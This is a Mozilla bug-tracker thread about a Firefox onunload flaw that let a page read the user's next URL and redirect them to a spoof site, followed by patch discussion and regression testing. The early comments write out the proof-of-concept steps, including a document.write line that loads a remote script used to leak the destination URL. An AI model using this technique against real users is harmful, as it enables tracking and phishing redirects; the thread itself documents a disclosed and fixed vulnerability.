It is possible for onUnload handler to abuse document.write(), manipulate location DOM hierarchy, read back the URL for which the user is departing, and possibly redirect the browser to a typosquatting-type phishing site instead. The user is unlikely to notice:
I have a gut feeling that this can be abused in a far more sinister way than just redirection, although document and window hierarchies are not directly accessible. Still, this is a variant of a more serious MSIE7 vulnerability (http://lcamtuf.coredump.cx/ietrap/). The MSIE7 example behaves on FF in an interesting way by itself (we end up with a page that has a favicon and URL bar entry of the target site, Ctrl-U shows attacker-generated code, but no text is displayed).
It is my impression that onUnload/onBeforeUnload handlers shouldn't be able to effectively use document.write() or manipulate location.* (alternatively, these changes shouldn't take precedence over loading of a new document).
*** Bug 371511 has been marked as a duplicate of this bug. ***
This appears to be limited to URL changes as the script security context of the original page is transfered to the subsequent included script code.
1. <body onunload="entrapment()">
2. entrapment() creates a new document through document.open(), document.write('<html><body><script src="http://lcamtuf.coredump.cx/ietrap/ff/execthere.js"></script>'), document.close()
3. execthere.js sets location.href to a CGI script which receives a HTTP_Referer header containing the URL of the page that was being navigated to.
It's not possible to reference the DOM in any way inside part 3, any references to alert/eval/document/etc throw a security error. You can't read the document.cookie or location.href properties.
If you attempt to set location.href to a relative path in step 3 instead of an absolute path then those changes are relative to the page being navigated to.
So a solution would be to disable setting location on unload? Like mentioned bug 247660, comment 6.
Shouldn't this bug be marked as "Severity: major" ?
Since I personally think that this is a "Major public security bug", it would be a good idea to nominate it in order to be fixed for 22.214.171.124 (or maybe 126.96.36.199) as I read in:
This basically allows the page to read the URL you're going to. While unfortunate, this is not a "major public security bug". A "major public security bug" would be a privilege escalation or remote code execution bug...
Of course the link you point to explicitly says "sg:high and sg:critical" whereas this bug is "sg:low"...
Any changes to onunload will need more baking than we have time for. It is a fairly low level of info that is obtained, hence sg:low
What about the re-direction aspect? It effectively re-directs my browser.
Just thought I'd share, if network.http.sendRefererHeader is set to "0," the re-direction does not work.
> What about the re-direction aspect?
You don't really need onunload for that. You can always set document.location.href.
It's true that this may allow certain kinds of more-targeted spoofs if the user first goes to an evil site and then in the same window goes to a bank page or something. So it should be fixed. No one's arguing about it. It just doesn't need to be fixed by tomorrow (which is what 188.8.131.52 is all about).
(In reply to comment #10)
> > What about the re-direction aspect?
> You don't really need onunload for that. You can always set
> It's true that this may allow certain kinds of more-targeted spoofs if the user
> first goes to an evil site and then in the same window goes to a bank page or
> something. So it should be fixed. No one's arguing about it. It just doesn't
> need to be fixed by tomorrow (which is what 184.108.40.206 is all about).
Whole-heartedly agree. I know this isn't that urgent, just no one else was speaking of it, so I thought I might direct the conversation to that aspect.
I can verify the comment from Jordan M, setting network.http.sendRefererHeader not only prevents the HTTP header from being sent but also prevents document.referrer from being set. In either case, you can't read the URL the user is navigating to.
The whiteboard says [sg:low spoof], but I don't agree that this is primarily a spoofing issue. The spoofing part is just one part of the original proof-of-concept, this is a generic information disclosure vulnerability. Instead of redirecting you to a spoofed version of the original site, which is highly visible, you could also be silently tracking the users surfing habits.
So as mentioned, one way to approach this (and bug 372666, bug 247660, bug 251944, and breaking bug 356923 completely, which I think is desirable) is to disallow all docshell operations and document.open() from inside the unload handler. The more I think about that, the more I like it... jst, sicking, Blake, biesi, what do you think of doing that? Do other UAs allow any history navigation, form submission, or document.write from unload handlers?
To me the scary part here is that the page can read the new location. Is that something we can fix instead?
That doesn't address the other issues, in particular bug 372666. It wouldn't be trivial to fix either -- by the time unload fires the docshell has the new URI.
Definitely wanted on the branch, but not going to commit to it until we see the scope of the patch required when it's fixed on trunk.
renominate when Gecko1.9 has the fix.
Did you saw https://bugzilla.mozilla.org/show_bug.cgi?id=251944 ?
I'm sorry, didn't noted that Boris Zbarsky had already sent this link.
Any chance you have cycles left for this one bz?
I don't have the cycles to test behavior of other UAs, for sure.
I might have the cycles for implementing comment 13, but I franly don't know when. At this point, "not in May". :(
I actually think we should go ahead and just do this, no matter what other UAs do.
Created attachment 267203 [details] [diff] [review]
The good: This patch should fix this bug, bug 372666, bug 247660, bug
251944, and breake bug 356923 completely, as per comment 13.
The bad: I can't reproduce this bug on trunk (the testcase in comment 0 doesn't behave as advertised). The patch needs a LOT of testing on these various bugs and the various other bugs that have popped up in this very fragile code. We need testcases for mochitest, probably. We need testing of various onunload scenarios, and we need testing of various types of channels (e.g. view-source: channels in content, javascripy: channels, etc).
The ugly: I'm not in a position to do this testing in time to get this landed in 1.9a6 (and hence in 1.9). So if there's anyone who can help with that, that would be much appreciated!
I'll try to put up a branch patch in a few minutes as well.
Created attachment 267205 [details] [diff] [review]
With a minor tweak
Created attachment 267213 [details] [diff] [review]
1.8 branch patch version
Created attachment 267214 [details] [diff] [review]
1.8.0 branch patch
Perhaps OnLinkClick should also be checking whether we're in the middle of unload? Might be worth checking what happens if unload calls form.submit().
Created attachment 267292 [details] [diff] [review]
Alternate approach without load stopping
I think this should still fix all the testcases, except variants of bug 372666 on trunk. I'll post a separate patch to cover those.
Note that the document.open change is only really needed because document.open stops existing requests in the loadgroup. So without that change it takes two tries to navigate away from a page whose unload does document.open. So on branch we could even skip on that, possibly...
Oh, and I'll hold off on branch variants of the alternate approach until I have some feedback from reviewers and testing.
I've been running with this patch applied to my win32 builds for a couple days now and haven't noticed any obvious regressions so far.
Comment on attachment 267292 [details] [diff] [review]
Alternate approach without load stopping
I think I prefer this approach. Less code, the stopping code looks potentially tricky to get right. r=jst for this one.
Been using the alternate patch for nearly a week now with no obvious side effects.
Created attachment 268378 [details] [diff] [review]
Alternate approach 1.8 branch version
Created attachment 268379 [details] [diff] [review]
Alternate approach 1.8.0 branch version
Checked in on trunk.
Note: this exposed underlying bug 384977. We probably need to fix that on the 1.8 branch too. :(
Actually, that was already covered by bug 364461. Still need to fix it, though.
Note that this also still needs some serious testing before I'd be happy putting it on branches...
what kind of "serious testing"? Anything targeted, or just broadly "use lots of js-heavy sites"?
Comment 23 has some details about the sort of testing we need. In addition to that, I'd test whether setting .location works in various stages of page load and unload, possibly with extensions which might be doing it at bizarre times (e.g. off of progress listener notifications). At least if we have such extensions. Do we?
qawanted: please test this heavily on the trunk (see comment 23 and 41)
Comment on attachment 268378 [details] [diff] [review]
Alternate approach 1.8 branch version
Given an accellerated 220.127.116.11 we'll have to wait for this one.
When landing on branches, should remember the InternalLoad change from bug 364461.
Comment on attachment 268378 [details] [diff] [review]
Alternate approach 1.8 branch version
>+interface nsIDocShell_MOZILLA_1_8_BRANCH2 : nsISupports
why a second _MOZILLA_1_8_BRANCH ? I think you could have used the original one, we're not promising not to change those, we're just using those to keep the original 1.8 branch untouched. Doesn't much matter I guess.
approved for 18.104.22.168, a=dveditz for release-drivers
Comment on attachment 268379 [details] [diff] [review]
Alternate approach 1.8.0 branch version
approved for 22.214.171.124, a=dveditz for release-drivers
Need another patch to incorporate the nsDocShell::InternalLoad change not checked in with bug 364461.
> we're not promising not to change those
As I understand it, we are promising API immutability on branch. We can add APIs, but not change existing ones.
Created attachment 280770 [details] [diff] [review]
1.8 branch patch including the hunk from bug 364461
Created attachment 280772 [details] [diff] [review]
1.8.0 branch patch including the hunk from bug 364461
Checked in on both branches.
Verified fixed, using:
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:126.96.36.199pre) Gecko/20071006 BonEcho/188.8.131.52pre
I can see the bug in Firefox184.108.40.206.
Broken "onunload" behavior?
I do an onload=document.form.submit() to submit a form when a page loads.
I then do an onunload=window.location.replace to redirect to another page. I do this to prevent the submit page from showing up in the history and prevent a re-submit if the back button is clicked.
This no longer works. In my testing, onunload does not execute window.location.replace.
onunload=window.location.replace works fine in Firefox 220.127.116.11 and earlier. Must have been broken by this patch in 18.104.22.168.
That is the intended effect of this patch. It's unfortunate for your use case, but it can also be abused to fool people into going somewhere else. IE7 also blocks this in an onunload now.
What Daniel said. That is in fact the intended behavior.
I tested with IE7 7.0.5730.11 and it executes window.location.replace. Is there a newer IE I don't know about? IE must be trapping a malicious redirect differently.
I admit it's a bit of a kludge, but the case I described is used by MANY sites to mask a submission page.
Interesting. Does IE7 allow setting location.href in that situation? I was told that it did not.
I do have to ask.... Did the testing I mentioned in comment 23 ever happen? I assumed that a= meant it had.
Re: Boris' question in comment #58: I just tested onunload=location.href with IE7 7.0.5730.11. It works as well.
Ah, bug 372666 comment 18 says:
> That is something Safari and Konqueror and newer versions (apparently
> 9.1+) of Opera seem to do, but IIRC not IE.
I still think this is the right behavior for us. There's no way to tell apart malicious and non-malicious loads in onunload, really...
Yes, I noticed the same location set behavior with onunload in Safari. So I'll take this as, "We're not gonna change it, change your code." Right?
Unless magic happens somehow, probably. It _would_ be nice to not lose IE compat here, though, if possible....
Bummer... this leads to even more convoluted js code. Security just gets more and more painful. I'll monitor this thread in case you guys change your mind. Thanks for your time.
OK. So I've been thinking about this... perhaps we can do the following:
1) Continue to disallow document.open from unload
2) Allow loads to happen from unload but
a) Perform the loads async (that is, if InternalLoad is called during
unload, post an event to do the actual load)
b) Only allow loads that are to a URI which is same-origin with the page
(1) fixes this bug as originally files. (2b) fixes bug 372666, bug 247660, bug
251944. (2a) should allow the use cases that seem to have broken as a result of this change, right?
We'd still want to block loads if the window is being closed, I think.
So from what I understand the intent of the usecase in comment 54 is to prevent submission pages from ending up in history. Is that still going to be the case if we do the load off an event?
Yes. The history effect is due to using location.replace, which does a history-replace load.
Are there any other possible side effects if doing the load asynchronously? I don't want to rob Peter to pay Paul. If not, it works for me as long as location.replace replaces the submit page with the redirect page in the history. Thanks for spending the time and reconsidering.
I'd be glad to thoroughly test any interim build if change is implemented.
> Are there any other possible side effects if doing the load asynchronously?
Yes. If the page being loaded when unload fires has, say, a meta refresh, it's maybe possible for that to fire and cancel the load started in the unload handler. I'm hoping this won't come up much. ;)
I'll try to get a patch together sometime next week, but my Mozilla time is sadly pretty limited right now. :(
(In reply to comment #65)
Verified for 1.8.0 with Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:22.214.171.124pre) Gecko/20071210 Firefox/126.96.36.199pre.
I filed bug 409888 on comment 65 so we can track blocking status for it, etc.
Raul da Silva, could you maybe retest your use case in tomorrow's trunk build (which should have the fix for bug 409888) and comment with the results? That would be very helpful!
Boris- I downloaded firefox-188.8.131.52pre.en-US.win32 dated Jan 26 and tested against my use case described in comment #53. window.location.replace seems to still not be executed onunload.
Sorry for my ignorance of your build process, but I downloaded the version from http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2008-01-26-03-mozilla1.8/... is this the correct build? If not, please point me to the correct one and I'll gladly retest.
Hi Raul, it is fixed on trunk build, so Boris asked you to test with that:
It's not fixed on the branch yet.
Thanks Martijn - I saw that trunk directory, but wasn't sure because it was labeled 3 beta.
I just tested with firefox-3.0b3pre.en-US.win32 from /pub/mozilla.org/firefox/nightly/latest-trunk dated 26-Jan-2008 05:58.
window.location.replace still does not execute with onunload.
Raul, do you have a publicly available testcase that shows your problem? The situation you describe is working for me as far as I can tell, as long as the URI passed to replace() is on the same server as the URI being navigated to when unload fired...
Fill out the form (you can use bogus data) at: http://www.workday.com/resources/whitepapers/whitepaper_form.php
and submit... you will be directed to a download page. If you hit the back button you *should* be returned to the form if window.location.replace was fired. If it wasn't fired, when you hit the back button the form will be resubmitted and you will end up on the download page again. (note: for each retest, you must delete the 'wdcontent' cookie associated with the workday.com site)
Try the same form with IE to see 'as designed' behavior.
Ah, that seems to be the same issue as bug 409888 comment 21 and following... I hadn't realized the replace() replaced the page being _unloaded_ when I wrote comment 65. See the details in bug 409888.
I guess it's a matter of which is worse from your point of view: the replace() doing nothing at all, or replacing the page being loaded when unload fires... At least in the near term. :(
Also, what did Firefox 2 do in this regard? Did things work exactly as you want them there, or does it behave like Firefox 3 does now with the latest round of fixes?
Firefox 184.108.40.206 and prior work as wanted.
220.127.116.11 and later and 3 beta all function incorrectly with my testcase.
I guess this means we're back where we started. If this can't be fixed, we'll need to redesign our submission functionality soon. Because of Firefox's rising market share :-) we're getting increasingly higher rates of duplicate submissions. Let me know if anything changes. Thanks.
Raul, I just checked in a fix that might fix your issue (at least it does over here). Want to try tomorrow's trunk nightly and let me know?
Thanks for your continued interest in this problem... I really do appreciate it. But unfortunately, no joy yet. I just tested the 01/30 nightly trunk at http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-trunk/firefox-3.0b3pre.en-US.win32 and onunload is still not executing window.location.replace.
Raul, that's very odd. I finally got a chance to try your page, and it is indeed not fixed. But "testcase 3" from bug 409888 is fixed, and is testing more or less what your page is doing, as far as I can tell...
I guess I'll dig more tonight.
Could the problem be that the submit page we want to hide/replace is doing a post to a servlet on a server in a different domain? Re-reading 2b in your Comment 65 lead me to think this may be the problem. Sorry for overlooking this.
Could the problem be that the submit page we want to hide/replace is doing a post to a servlet on a server in a different domain? Re-reading 2b in your Comment 65 leads me to think this may be the problem. Sorry for overlooking this.
Yes, if the address that's being navigated to is not on the same server as the URI passed to replace() when unload fires, the replace() will not happen. I'm really not sure we want to relax that restriction; if we do, we need to solve the corresponding security bugs in some other way (and mark bug 251944 wontfix).
Well, that's it then... and it's the one thing that we absolutely can't change. We must post to this particular server. I overlooked this since the replace() *is* a page on the originating server.
Just today it was decided our site will move to a new framework in the next few months; so much functionality will be rewritten anyway. I guess we'll just have to tough it out until then.
Just wondering, does this mean that IE is susceptible to this tailgating problem or are they trapping the problem another way?
IE is definitely susceptible to bug 251944, last I checked.
This should fix the problem for those doing an onunload=replace() in the same domain. Which will probably be the majority of the legitimate use cases. At least your effort wasn't wasted.
Thanks again for your help.
Based on the age of QAWANTED request on this bug, is QAWANTED still wanted?
Yes, the tests for this still need to be written...
Is there a manual testcase that can be written for this (i.e. Litmus)? If I am right, I think no. Based on the language of this comment thread I'm guessing only automated testing is desired (i.e. mochitests)...
One can write a litmnus test for this, but mochitest tests would be vastly preferable.
What would the manual test for this look like? Code a minimized test to attempt a redirect onUnload and have the Litmus tester run the code sample?
There's a test linked in the url of this bug. But there are also various comments in this bug describing the tests that are needed (in addition to that test linked in the url field).
Added a testcase to Litmus: https://litmus.mozilla.org/show_test.cgi?id=7886
Depending on an external page for our tests is really bad form (not to mention not very future-proof....)
(In reply to comment #99)
> Depending on an external page for our tests is really bad form (not to mention
> not very future-proof....)
Yes it is. However, our procedure for writing test cases is to get a working test case then get it checked into Litmus storage so we don't have to rely on third party URLs. This is not possible in all cases, but we try to do this wherever possible.
*** Bug 251944 has been marked as a duplicate of this bug. ***